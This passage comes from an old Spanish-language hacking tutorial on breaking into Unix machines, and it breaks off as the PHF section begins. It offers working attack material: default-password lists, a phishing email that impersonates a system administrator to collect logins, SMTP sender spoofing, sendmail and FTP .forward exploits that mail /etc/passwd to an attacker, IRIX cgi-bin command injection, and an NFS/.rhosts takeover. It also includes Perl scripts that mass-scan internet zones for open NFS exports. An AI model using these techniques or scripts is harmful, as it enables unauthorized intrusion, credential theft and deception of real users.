Tambien, aunque no se diga constantemente a lo largo del texto, la mayoria de las ideas aqui indicadas son para sistemas UNIX y derivados por lo que si tienes windows no te servirá de mucho, pero no te preocupes, tambien hablaremos de esa mierda en otro momento.
Primero que nada deberemos nivelarnos en la forma de hablar por lo que te recomiendo que leas el siguiente glosario de los terminos mas usados en estas paginas y en todas las relacionadas con el hacking, más adelante apareceran nuevos terminos, que describiremos oportunamente.
El
archivo hosts.equiv es un archivo que hay en los sistemas unix que indica que
maquinas pueden ejecutar comandos remotos en esta maquina sin pedir ni login ni
password, es decir, indica las maquinas que son confiables.
Igualmente,
el archivo .rhosts es un archivo que hay en el HOME de cada usuario que indica
las maquinas a las que permite ejecutar un comando remoto sin pedir password.
Ademas, te recuerdo que con el
comando host puedes obtener una lista de maquinas pertenecientes a un dominio
dado y que el comando traceroute muchas veces puede ayudar ( recuerda que el
traceroute muestra el recorrido que hacen los paquetes hasta llegar a la maquina
destino).
Para
todos aquellos que no tienen muy claro lo que son los puertos, TCP, UDP, IP y
demas cosas similares pueden ver el TCP IP Illustrated tomo 1 de Stevens o el
famoso NETWORKING with TCPIP que ademas creo que tiene el primer tomo traducido
al castellano.
A
continuacion se listan los mas interesantes en principio para las aplicaciones
que nos interesan (en los puertos que no ponga nada, se refieren a tcp y los que
se refieran a udp se indicara):
Numero
de Servicio de puerto |
Función |
9 Discard Dev /
null |
basura |
11 systat |
Información sobre
usuarios |
13 |
La hora y fecha de
maquina remota |
15 netstat |
Mucha informacion
sobre la red |
17
/tcp qotd |
Quote
of the Day |
19 chargen |
Generador de
caracteres |
21 ftp |
Transferencia de
archivos |
22
/tcp ssh |
SSH
Remote Login Protocol |
23 telnet |
Accede a un
sistema remoto por medio de un login y pass |
25 smpt |
Para crear email. |
37 time |
La hora. |
38
/tcp rap |
Route
Access Protocol |
39 rlp |
Localizacion del
recurso |
42
/tcp name server |
HostName
Server |
43
whois |
Informacion sobre
la red objetivo |
49
/tcp tacacs |
LoginHostProtocol(TACACS) |
50
/tcp re-mail-ck |
RemoteMailCheckingProtocol |
53 domain |
Nombre de la
maquina remota |
63
/tcp whois++ |
whois++ |
69/tcp tftp TrivialFileTransfer
70 gopher Buscador de informacion con bugs ;o)
79 finger Mucha informacion sobre los usuarios
80 http ServidorWeb
88/tcp kerberos Kerberos
107 rtelnet Telnet remoto
109/tcp pop2 PostOfficeProtocol-Version2
110 pop3 Email entrante Version3
111/tcp sunrpc SUN Remote Procedure Call
113/tcp auth Authentication Service
115/tcp sftp Simple File Transfer Protocol
117/tcp uucp-path UUCP Path Service
119 nntp Grupos de noticias Usenet
133/tcp statsrv Statistics Service
136/tcp profile PROFILE Naming System
137/tcp netbios-ns NETBIOSNameService
137/udp netbios-ns NETBIOSNameService
138/tcp netbios-dgm NETBIOSDatagramService
138/udp netbios-dgm NETBIOSDatagramService
139/tcp netbios-ssn NETBIOSSessionService
139/udp netbios-ssn NETBIOSSessionService
143/tcp imap InternetMessageAccessProtocol (xploit remoto jeje)
144/tcp news NewS
161/tcp snmp SNMP
194/tcp irc InternetRelayChatProtocol
213/tcp ipx IPX
220/tcp imap3 InteractiveMailAccessProtocolv3
443 shttp Otro servidor web teoricamente seguro
512/udp biff ndica a los usuarios que han recibido mail
513/tcp rlogin remote login
513/udp who who remoto y da info sobre la carga de la maquina
514/tcp shell Shell remota
514/udp syslog
515/tcp printer spooler
520 route Protocolo de informacion routing
529/tcp irc-serv IRC-SERV
Puedes
obtener muchas listas de puertos en Internet por lo que te he puesto una lista
resumida aunque en realidad con la practica te sueles remitir a un numero mas
reducido de puertos pero eso que lo vea cada uno kon la experiencia.
Tras
saber que conocimientos se deben adquirir, ahora te comento los programas que se
deben tener para poder hacer cositas.
Bien,
lo primero que comentaria es que es mas comodo hackear con unix/linux que con el
ventanukos ya que aunque es mas complejo, ofrece muchas mas posibilidades ya que
el mismo sistema operativo te ofrece algunas ventajas que no ofrece el windows.
No voy a entrar a comentar estas diferencias pero si usas unix, basicamente solo
has de pillarte un escaneador de puertos y poco mas. Se ha de recordar que lleva
incorporado el compilador de c, perl, la mayoria de los programas de seguridad (satan,
cops, iss...) estan disponibles para unix asi como los programas para hackear, y
muchas mas kosas que ya iremos descubriendo como el tiempo. Ademas unix te
permite comandos interesantes como el host, rpcinfo, los comandos remotos, etc.
Ademas,
tal y como se ha comentado o comentara a lo largo del texto, la informacion y
estar actualizado en bugs y exploits es una de las cosas mas importantes en este
mundillo por lo que un consejo es que habitualmente ojees las paginas de hack
para pillar los ultimos bugs y xploits asi como las listas de correo habilitadas
para el respecto (bugtraq, firewall ,etc). Tened en cuenta que la eficacia de un
xploit es inversamente proporcional al tiempo que hace que salio asi que no
esperes entrar en muchas maquinas con bugs de los años 80, entendes la idea
no?.
2.-
INTRODUCCION A DISTINTOS SISTEMAS
En
este texto se va a hablar de hackear maquinas Unix pero hay que recordar que
aparte del Unix tambien existen otros sistemas operativos para mainframes y
minicomputadores como el VMS para computadores VAX (de la marca DEC, Digital
Equipment Corporation), el VM/CMS, VM/ESA, etc para computadores IBM, y otros
sistemas operativos de menor profileracion.
Dentro
de los UNIX se puede hacer diferencias:
SISTEMA
OPERATIVO |
VENDEDOR |
PROCESADOR |
DESENDENCIA |
IRIX
|
Silicon
Graphics |
MIPS |
System
V |
ULTRIX |
Digital
(viejo) |
MIPS
R2/3000 |
MBSD |
Digital
UNIX |
Digital
(nuevo) |
MIPS
R2/3000 |
ystem
V (?) |
AIXS |
IBM |
? |
BSD |
HP-UX |
Hewlett
Packard |
PA-RISC |
System
V |
UNIX
SCO |
SCO |
Intel
x86 |
|
FreeBSD |
independiente |
Intel
x86 |
BSD |
LINUX |
independiente |
Intel
x86 |
BSD |
SunOS |
Sun
(viejo) |
Sparc |
BSD |
Solaris |
Sun
(nuevo) |
Sparc
/ x86 |
System
V |
UNICOS |
Cray |
|
|
OSF/1 |
DEC |
Alpha |
|
ConvexOS |
Convex |
|
|
Para entrar en un sistema,
lo primero que has de saber es como funciona ya que si no, no podras manejarte
en el. Por esto es importante conocer UNIX/LINUX ya que basicamente, conociendo
este sistema operativo podras moverte por el resto de sistemas unix aunque de
vez en cuando te encuentras de cada cosa por ahi que da miedo. A continuacion se
describen algunos sistemas y en algunos se indica la pinta que tienen para poder
identificarlos al hacerles un telnet ( Nota: esta info la he pillado de la red y
creo que es un poco vieja pero la pongo porque opino que puede servir de algo):
VMS - La computadora VAX es
creada por Digital Equipment Corporation (DEC) y corre el sistema operativo VMS
(virtual memory system). VMS se caracteriza por su prompt 'Username:'. Este
sistema no te dira si has entrado un login correcto o no y te desconectara
despues de tres malos intentos. Tambien mantiene un record de todos los logins
que fallaron e informa al due¤o de la cuenta la proxima vez que entre cuantos
intentos fallados se hicieron. Es uno de los sistemas mas seguros desde fuera
pero ya dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno
de los mejores archivos de ayuda de entre los demas sistemas, para accesar a
esta ayuda solo escribe HELP en el prompt.
VM/CMS - Este sistema es
ejecutado en las super computadoras de IBM (International Business Machines)
llamadas mainframes. Una vez conectado a una de estas computadoras te mostrara
un mensaje asi "VM/370 ONLINE", y te dara un prompt "."
justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON <usuario>
DEC-10 - Operan el sistema
operativo TOPS-10. Este tipo de maquinas se reconocen por el prompt
"." Las series DEC-10/20 son amables con los hackers permitiendo
varios intentos en el login prompt sin guardar un log de los intentos fallados.
Las cuentas estan en forma [xxx,yyy]. Lo mejor de este sistema es la posibilidad
de obtener informacion sobre las personas en linea antes de entrar a el usando
el comando systat. Si ves una cuenta que lea [234,1001] BOB JONES, seria
inteligente probar como password BOB, JONES, BOBBY, etc. Para entrar al sistema
se usa el comando:
login xxx,yyy [enter]
password:
Este sistema como antes lo
habia dicho, permite intentos sin limite y ademas te avisa si el login que estas
usando existe.
PRIME - Esta computadora
opera con el sistema operativo Primos. Son faciles de detectar ya que lo reciben
a uno con el mensaje "Primecon xx.xx.xx" o algo parecido dependiendo
de la version que te encuentres. Usualmente no ofrecen ningun prompt asi que
debes escribir "login <usuario>". Si la version es anterior a la
18.00.00 puedes presionar un monton de caracteres de escape o CTRL-C y entraras.
Este sistema ofrece la capacidad de conectarte a los NUAS de todo el mundo con
el comando NETLINK...sintax: nc <nua>
Al hacer un telnet muestra
un aspecto del tipo:
PRIMENET 19.2.7F PPOA1
<any text>
ER!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)
DECSERVER - Las DECs son una
serie de computadoras conectadas entre si para formar una sola unidad de
procesamiento, la funcionalidad de estos sistemas es altamente utilizado por los
hackers para quebrar passwords de cuentas unix por la rapidez del sistema. El
prompt usualmente sera: "Enter Username>" aunque yo he visto otros
prompts en estos sistemas.
El nombre de usuario puede
ser cualquier cosa, lo mejor sera presionar algo nada sospechoso como `c' o
algun numero. De ahi te presentara con el prompt `local>'. De ahi debes
ejecutar `c <sistema>' para conectarte. Para obtener una lista de sistemas
conectados ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S
existen comandos como MODEM o DIAL que permiten hacer uso de un modem para
llamadas externas que te permitiran marcar a BBS internacionales a expensas de
la compa¤ia que opera el DEC.
Al hacer un telnet a este
sistema sale algo del tipo:
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need assistance
Enter username> TNO
Local>
AIX
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
Lo reconoceras porque es el
unico sistema Unix que borra la pantalla y sale el login cerca del final de la
pantalla.
CISCO Router
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
Toda la info anterior
expuesta anteriormente sobre los distintos sistemas, la he obtenido basicamente
de la red y la mayoria no la he comprobado por lo que es facil que haya errores
por lo que te agradeceria que me informes todos los bugs que encuentres en esta
parte del texto sobre distintos sistemas.
Igualmente, estoy interesado
en toda la info que me pueda mandar la gente sobre la identificacion de los
distintos sistemas operativos y los comandos y diferencias basicas entre los
sistemas operativos. Como siempre, mi mail esta abierto para este tipo de info
;--)
CONSEGUIR UNA CUENTA
Una cuenta puede ser el
primer paso para poder entrar en un sistema (aunque hay bugs que te dan
directamente una cuenta e incluso la de rOOt, pero eso es caso aparte) por lo
que en este capitulo se vera como conseguir una cuenta.
Hay muchiiiiisimos metodos
para conseguir una cuenta pero aqui se van a contar los siguientes:
1.- Cuentas por defecto
2.- Ingenieria social
3.- Conseguir archivo passwd
de manera remota con algun bug
4.- Conseguir directamente
una cuenta con un bug
5.- PHF
6.- Xploits que te dan una
shell remota
7.- Otros metodos
1.- Cuentas por defecto
Este es un metodo de locos y
solo lo has de usar si vas muy perdido o si estas muy desesperado ya que raras
veces funcionan. Sinceramente, yo no las he comprobado ya que nunca uso este
metodo por lo que agradeceria vuestras rectificaciones para posteriores
ediciones del texto. Incluso hay sistemas operativos muy raros que no se si
seran viejos pero yo las incluyo todos por si a alguien les sirven de algo. En
posteriores ediciones ya se hara un filtrado :o)
Aqui estan para varios
sistemas:
sysmaint/digital
system/operator
system/manager
system/syslib
system/uetp
systest_clig/systest
userp/user
sysadmin/admin
daemon/daemon
sysbin/sysbin
AIX
guest guest
DECserver
Access
System
VMS
autolog1/autolog o autolog1
cms/cms
cmsbatch/cms o cmsbatch
erep/erep
maint/maint o maintain
operatns/operatns o operator
operator/operator
rscs/rscs
smart/smart
sna/sna
vmtest/vmtest
vmutil/vmutil
vtam/vtam
field/service
systest/utep
systest_clig/systest
systest_clig/uetp
PRIME
Prime/prime
Prime/primos
Primos/primos
Primos/prime
primos_cs/prime
primos_cs/primos
primenet/primenet
system/system
system/prime
system/primos
netlink/netlink
test/test
guest/guest
guest1/guest
DEC10
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES
SGI Irix
4DGifts
guest
demos
lp
nuucp
tour
tutor
accounting
boss
demo
manager
pdp8
pdp11
software
4.2.- INGENIERIA SOCIAL
Bien, este no es un metodo
de hack en el sentido que todos piensan... no tiene nada que ver con informatica
ni con computadores ni tcp/ip ni unix ni nada de eso sino que simplemente
consiste en ser un poco picaro ;o).
La ingenieria social se basa
en que hay mucha gente por ahi que tiene una cuenta (tanto de un proveedor de
internet como una shell) y que no esta muy alerta jeje. En fin, como les comento
hay varios metodos para obtener cuentas usando ingenieria social, aqui
simplemente cuento algunos para que te hagas una idea pero cada uno que piense y
su imaginacion le dara algunos truquillos mas.
En fin, el metodo e-mail es
el mas importante por el que sera el que mas desarrollaremos en este texto
aunque tambien se podria hacer por telefono. La idea es sencilla.. enviar un
mail (anonimo) a alguien para que te de el login y el password. Parece dificil
que traguen, no?.. pues te puedo asegurar que no lo es. X D
Simplemente envia un mail de
este estilo:
Estimado señor Lopez:
(Importante conocer la identidad de la persona para darle mas confianza)
El objeto de este correo
electronico es comunicarle que debido a mantener la seguridad de nuestro sistema
victima.com, se requiere que envie un mail con sus datos personales y su login y
su password ya que en nuestro sistema es muy importante la seguridad y deseamos
mantenerla con estos chequeos rutinarios.
Agradeciendo su atencion se
despide
Pepito Rodriguez pepito@victima.com
Administrador del sistema
victima.com
Para enviar un mail para
falsear el remitente, lo que se debe hacer es hacer un telnet a una maquina unix
que tenga el puerto 25 abierto y dar los siguientes pasos:
Lo primero que se ha de
hacer es un telnet maquinacon25.com 25, cuando te diga que ya estas conectado,
has de hacer:
helo ingenieria@social.com >pleased to meet ingenieria@social.com
Tras esto has de decir quien
quieres que aparezca como remitente con el comando mail from:
mail from: ingenieria@social.com
> ingenieria@social.com... Sender is valid.
Si sale esto, todo va bien..
por lo que tendras que indicar quien es el destinatario usando el comando rcpt
rcpt to: bill@gates.com
> "bill@gates.com"... Recipient okay
Tras esto, lo que se ha de
hacer es indicar el mensaje en si con el comando data y cuando quieras acabar
pones un . en una linea.. algo asi:
data
> Enter mail, end with "." on a line by itself
Hola Bill
.
> Mail accepted
Con esto el mensaje ya esta
enviado, y para cerrar la conexion has de usar quit.
>
connection is closed.
En realidad con esto no se
consigue un mail anonimo sino que lo que consigues es especificar el remitente
que tu quieres. Para enviar mail anonimo has de usar servidores de correo
anonimo o hacer este mensaje enlazando unos mails con otros.
Para saber si un servidor es
anonimo has de hacer:
HELO servidor@anonimo.com
Y si cuando el servidor
responde no aparece tu IP por ningun lado, entonces es un servidor anonimo o
pseudoanonimo.
Este texto puede estar mucho
mas elaborado.. pero servira para ver la idea y creeme este metodo funciona y
por otro lado no es complicado de hacer ;o)
La pregunta ahora es... como
sabemos los telefonos o los mails de la gente de victima.com???. Bien, hay
varias respuestas.. muchas veces por casualidad (un vecino, un compañero de
clase, etc), otras pasandotelas otro hacker ( a saber de donde vendran ¡!) y
algunos metodos mas entre los que destacaria el finger. El finger es el puerto
79 y si el host victima.com lo tiene abierto, simplemente telnetealo y usando
finger -l @victima.com sacaras informacion sobre la gente que esta concectada a
victima.com asi como otra informacion interesante como su email. Luego puedes ir
probando con finger -l nombre_usuario@victima.com con lo que obtendras aun mas
informacion del sistema.
Tambien se puede hacer
finger root@victima.com , guest@victima.com, etc con lo que obtendras
informacion sobre ellos aunque no esten conectados.
Tambien se ha de tener en
cuenta que a veces el puerto 79 esta abierto pero no te da informacion. Esto
puede ser porque esta usando tcp-wrappers, pero eso es tema aparte, simplemente
lo comento para que sepas que te puede pasar.
Este metodo, y usando este
script, te puede hacer conseguir muchos passwords pero hay que currarselo mucho
:o(. Obviamente, solo pensando un poco se te pueden ocurrir muchas mas maneras
de aprovechar el finger ya que da bastante informacion sobre los usuarios aunque
esta informacion cuando es realmente util es combinada con otros sistemas de
ataque :)
Hay muchos mas sistemas de
ingenieria social como la chica necesitada de ayuda en el irc y cosas parecidas,
pero tampoco creo que valga demasiado la pena explicarlo mas. Ademas, como en
todos estos temas, el unico limite es tu imaginacion :o)
Como es pesado buscar
manualmente, puedes buscar maquinas con finger usando un script hecho en shell y
usando listas de hosts como las que se explicaran en el apartado de nfs.
Ademas, para los que vean
que este metodo es un poco coñazo, el script este siempre es util ya que tened
en cuenta que las maquinas que tengan el finger abierto son maquinas que no
estan muy concienciadas por la seguridad no?.. jeje.. mejor no sigo dando ideas
:o) aunque tened en cuenta que esto no siempre sera cierto ya que es posible que
usen los tcp-wrappers.
Nota: El tcp-wrapper es un
programa que permite filtrar ip por los distintos puertos e indicar que demonio
o programa se ejecuta en cada uno de los puertos por lo que pueden ver todas las
aplicaciones maleficas que pueden conseguir los roots usando este tipo de
programas por lo que cuidado ahi fuera.
4.3.- CONSEGUIR archivo DE
PASSWD A TRAVES DE ALGUN BUG
En fin, hay muchos bugs y
xploits que te permiten el acceso al archivo de passwd pero aqui voy a exponer
algunos que aunque son antiguos son bastante ilustrativos (para pillar xploits
nuevos, a buscar por la red ke hay muchos.. de todos modos, en los apartados de
pillar root, pondre xploits modernos y que funcionan ;o).. estos los he elegido
aunque sean un poco antiguos porque son bastante ilustrativos:
Sistemas: Unix's en general,
espacialmente AIX y SUNOS
Versiones: Sendmail,
versiones anteriores a la 5.57 que no esten parcheadas
tumaquina% telnet
victima.com 25
Trying
X.Y.Z.A...
Connected to victima.com
Escape character is '^]'.
220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail tu_direccion@de_correo.com <
/etc/passwd"
250 "|/bin/mail tu_direccion@de_correo.com <
/etc/passwd"... Sender ok
rcpt to: loquequieras
550 loquequieras... User
unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
Notas:
-victima.com = nombre del
computador a hackear
-mimaquina = nombre de
nuestro computador
-Lo que aparece con un
numero delante son mensajes de nuestra victima,
el resto es lo que tienes
que escribir.
La idea de este bug, es que
usualmente, en el sendmail en la linea de mail from: pondrias pepe@uno.es , pero
sin embargo, y la gracia esta aqui, le dices que te mande el archivo
/etc/passwd. Pero te digo una cosa sinceramente, este bug no funciona casi
nunca, y si funciona, felicidades , estas en una maquina que el rOOt no tiene ni
puta idea,
Como conseguir el archivo
/etc/passwd si el ftp esta mal configurado
La victima debe de tener una
copia completa del archivo /etc/passwd en su ftp anonimo -ftp/etc en vez de una
version reducida. Sin embargo, puedes ver que normalmente nunca aparece el
archivo verdadero :( , pero el home directory de "ftp" puede ser
escribible en victim.com. Esto te permite ejecutar comandos remotamente - en
este caso, mandarte el archivo por mail a ti mismo - por el simple metodo de
crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la
cuenta "ftp".
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0
bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20
1991 etc
drwxr-xr-x
3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Ahora simplemente tienes que
esperar a que el archivo de passwords te sea
enviado.
Ejecutar comandos de manera
remota en Irix con cgi-bin/handler
El cgi-bin/handler en los
sistemas IRIX permite la lectura y escritura de archivos. Sin embargo existe un
bug que da paso a la ejecucion remota de comandos. El sistema intentara abrir el
archivo (taluego_Lucas) y si no existe dara un mensaje de error para a
continuacion ejecutar el comando que sigue. Muy importante, el espacio entre
el comando cat y su argumento es un *tabulador* (TAB), no se admiten espacios
asi que aunque puedes poner otro comando que no sea cat no podres poner ningun
comando que requiera espacios.
$
telnet victima.com 80
$ GET /cgi-bin/handler/taluego_Lucas;cat
/etc/passwd|?data=Download
$ HTTP/1.0
En IRIX 6.3 se intento
arreglar esto pero lo unico que se consiguio fue que el
formato del bug pase a ser:
$telnet
victima.com 80
$GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download
$HTTP/1.0
Con un nuevo TAB para
"engañar" al script PERL.
Hay muchos mas, pero no me
apetece seguir buscando.. quiza para posteriores ediciones...ademas en esta
categoria tambien entra el PHF que esta explicado mas adelante.
4.4.- MOUNT
Este no es un bug, sino un
defecto de configuracion del NFS. Aqui voy a intentar explicarlo extensamente
para que sepan lo que estan haciendo:
El NFS (Network File System)
es un sistema de red que permite que una maquina servidor pueda hacer
disponibles sistemas de archivos y dispositivos perifericos a maquinas clientes.
Asi, la maquina cliente podra montar esos directorios pudiendolos usar como si
los poseyera.
Otra cosa muy distinta es lo
que se pueda hacer con los archivos incluidos en dichos directorios (si se
pueden borrar, modificar, alterar los permisos, etc), lo cual depende de la
configuracion del NFS. En realidad, no es dificil configurar el NFS para que no
pueda haber problemas de seguridad, usando las opciones ro y rw en la
configuracion que indican que clientes tienen acceso de lectura y escritura
respectivamente. Por tanto, los problemas aparecen cuando no han sido utlidas
estas opciones correctamente y cualquier usuario remoto puede leer y escribir...
gracias a dios hay root que dan facilidades :o)
Mount es el comando en unix
que permite montar archivos en tu maquina para conseguir el objetivo expuesto
anteriormente.
Para ver si una maquina
remota con NFS tiene files montables se hace siendo root en la maquina donde
estas usando el comando showmount. Este comando se utiliza para determinar que
sistema ha montado un sistema de archivos desde un sistema dado. Con el
parametro -a muestra todos los sistemas de archivos que se han montado desde el
nodo servidor mientras que el comando -e muestra la lista de todos los sistemas
de archivos exportados.
Como root, has de ejecutar
en tu maquina:
$root> showmount -e hostvictima.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
Si la respuesta es algo de
este estilo... quiere decir que no ha habido suerte :o(
$root> showmount -e otra.net
Export list for otra.net:
/var/mail makina1.otra.net
/home/user1 makina1.otra.net
/usr/local pluto.seva.net,rover.seva.net
/export/X11R6.3 makina2.otra.net
/export/rover makina1.otra.net,makina2.otra.net
En esta maquina no hay
accesos del tipo everyone que sean interesantes :o( .. bueno con otras tecnicas
mas avanzadas si.. pero no son el objeto de este texto ;o)
Seguimos buscando hasta que
encontremos una maquina victim.com que nos ponga algo del tipo
/home (everyone)
o
/ (everyone)
BINGO!!!!!
Una vez pillemos una makina
de estas caracteristicas, se pueden hacer muchas cosas pero voy a explicar el
metodo tipico expuesto en los textos de hacking aunque pensando un poko se te
pueden okurrir otros :)
Lo que vamos a hacer es
crear una cuenta rapper (rapper es el nombre de un usuario de la maquina
remota.. para cada caso sera uno distinto) en nuestro archivo de passwd local (
es decir, el de nuestra maquina) y luego como usuario rapper ( cambiamos a ese
usuario con el su) pondremos una entra .rhosts en su directorio home para poder
hacer un rlogin sin password.
Primero, creamos el
directorio donde lo vamos a montar
mimaquina:~>mkdir /tmp/mount
mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/
y con esto ya tendremos
montado el directorio de la maquina remota en nuestra maquina local con lo que
haciendo un ls en /tmp/mount veremos todos sus archivos :o)
mimaquina:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/
Vemos que hay un usuario
llamado rapper cuyo UID (User Identification) es 102 por lo que lo tendremos que
incluir en el /etc/passwd de nuestra maquina:
mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh"
>> /etc/passwd
mimaquina:~>su - rapper
Welcome to rapper's user.
mimaquina:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/
Asi, poseemos el directorio
de rapper por lo que podemos usar las propiedades del .rhosts ( escribimos + +
en su .rhosts y luego hacemos un rlogin):
mimaquina:~>echo "+
+" > rapper/.rhosts
mimaquina:~>cd /
mimaquina:~>rlogin -l
rapper victima.com
Welcome to Victima.Com.
SunOs ver....(crap).
victima:~$
y ya tienes una cuenta en el
sistema ¡!
Para desmontar el archivo,
sal de este directorio y ejecuta:
mimaquina:~> umount /tmp/mount
Tened en cuenta que para
este metodo, hemos de tener acceso a la maquina por rlogin, asi que si no es el
caso, este metodo tambien admite otras posibilidades pero eso se deja para otro
texto :)
Como lo mas coñazo de este
metodo es buscar maquinas con archivos exportables, a continuacion expongo un
script escrito por Invisble Evil en perl que te permite buscar automaticamente.
Para usarlo previamente se han de conseguir listas de maquinas que se pueden
obtener usando el host -l nombredominio > salida y luego usando un script
para obtener los ip del archivo salida o se pueden obtener listas de maquinas
que hay en internic (se obtienen por ftp de rs.internic.net) y que son listas de
maquinas con esa extension:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
cuando tengas estos files
bajados y tras hacer un gunzip, tendras que ejecutar el script en perl:
"perl getdomain.pl com.zone com >com.all"
perl getdomain.pl edu.zone edu >edu.all
Y asi con todos, obteniendo
archivos com.all, edu.all y sucesivamente donde tendras la lista de maquinas.
getdomain.pl
---- cut here
#!/usr/bin/perl
# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));
# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file
$inputfile for reading!\n");
my(@lines) = <INFILE>;
# Initialize main data structure.
my(%hash) = {};
my($key) = "";
foreach (@lines) {
$key = (split(/\ /))[0];
chop($key);
next if ((($key =~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
($key =~ m/root-server/i));
$hash{$key}++;
}
# Close input file and output data structure to STDOUT.
close(INFILE);
foreach (sort(keys(%hash))) {
print "$_\n";
}
sub usage {
print("\n\ngetdomain:\n");
print("Usage: getdomain [inputfile] [search]\n\n");
print("Where [search] is one of \'com\', \'edu\', \'gov\',
\'mil\' or \'net\'.\n\n");
exit(0);
}
0;
---- cut here - end of script -----
Tras obtener la lista de
maquinas usando el anterior script (edu.all, com.all, etc..), se ha de usar el
script que se expone a continuacion para obtener los resultados del showmount
-e:
En cada dominio, este script
busca si hay discos montables y guarda la info en el directorio actual en
archivos llamados domain.XXX.export... asi solo tienes que ver estos logs y
mirar si ha habido suerte !!!!
--------------- start of cmount.pl
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.
# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";
# Pull off filename from commandline. If it isn't defined, then assign
default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);
# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d
$DomainFilename);
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die("mountDomains: Cannot open $DomainFilename for
input.\n");
while (<DOMAINFILE>) {
chomp($_);
print "Now checking: $_";
# Note difference in program output capture from
"geturl.pl".
open (EXECFILE, "$program $_ |");
@execResult = <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =~ /^Export/) {
print " - Export list saved.";
open (OUTFILE, ">$_.export");
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print "\n";
}
# We are done. Close all files and end the program.
close (DOMAINFILE);
0;
----------------- end of cmount.pl
Una nota final a todo este
coñazo, lo pongo aqui para que solo lo lean los que se leen los textos enteros
(jeje) es que /export/foo es el home directory del usuario guest por lo que
aunque no nos dejen exportar el directorio /home, en caso de que nos dejen
exportar el directorio /export, se podra aplicar este mismo metodo pero teniendo
en cuenta de que en lugar de usar el usuario rapper se usara el usuario guest
suerte ahi fuera......
4.5.- PHF
Este sistema es antiguo y
ampliamente conocido por todo el mundo, pero aunque parezca mentira sigue
funcionando y por ello lo expongo en este texto.
El phf es un archivo que se
encuentra en el directorio /cgi-bin de maquinas unix que ofrezcan este servicio
y sirve para buscar direcciones, pero habilmente utilizado puede servir para
ejecutar comandos remotos sobre dicha maquina pero no se pueden usar pipes,
quotes, etc. En este texto nos vamos a centrar en su uso para la obtencion del
archivo passwd de un sistema aunque pensando un poco se le pueden dar otras
aplicaciones bastante interesantes ya que te permite ejecutar comandos en la
maquina victima.
Vamos a empezar comentando
el uso mas extendido para luego dar otras ayudas para su uso asi como otras
aplicaciones:
